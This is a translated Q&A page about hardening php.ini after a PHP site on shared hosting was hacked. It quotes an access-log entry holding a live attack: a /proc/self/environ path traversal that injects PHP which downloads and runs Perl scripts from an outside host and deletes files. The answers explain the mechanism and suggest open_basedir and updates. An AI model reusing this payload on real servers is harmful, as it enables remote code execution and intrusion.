配置 php.ini 以防止攻击

Try*_*der 3 php php.ini

我在共享主机服务器(heartinternet)上受到攻击,他们说我应该php.ini正确配置自己的文件。

好吧,我有一个带有注册功能的小 php/MySQL 程序,一个小的管理站点,但是有人破解了它。

配置php.ini文件以防止此类攻击的一般方法是什么?任何好的设置将不胜感激。

这是我从网络主机提供商那里得到的:


121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "<?php echo \"j13mb0t#\"; passthru('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget
http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"
Run Code Online (Sandbox Code Playgroud)

由于脚本注入攻击的是站点代码本身,因此能够完全规避网络服务器的安全。不幸的是,一些内容管理系统(尤其是旧版本的 Joomla)极易受到这种形式的攻击。

消除攻击者使用此方法的能力的一种简单方法是在网站的顶层添加一个 php.ini 文件,其中包含以下内容 - 但请注意,该网站将需要事后测试以确保没有合法的网站脚本操作已受到更改的影响:

php.ini 指令是...

allow_url_include = "0"
allow_url_fopen = "0"
Run Code Online (Sandbox Code Playgroud)

Der*_*rfK 5

目前尚不清楚这些指令中的任何一个是否会阻止这种攻击。攻击的工作方式不是通过include()ing 或fopen()ing 远程 URL,它依赖于能够诱使您的代码进入include()ing /proc/self/environ,这是一个包含进程环境变量的文件。该请求使用实际的漏洞利用代码毒化了这些环境变量,实际的漏洞利用下载并执行了一个执行肮脏工作的 perl 脚本。

建立一个open_basedir设置,允许你的代码只打开特定目录中的文件会阻止这种攻击,但一般来说,根据用户输入执行脚本而没有非常严格的控制的程序有几十种方法可以被攻击,特别是如果它们允许用户- 上传的内容,如图片或其他内容。

使您的站点代码保持最新也很重要。特别是自从至少从去年 3 月起就已知此漏洞会影响 Joomla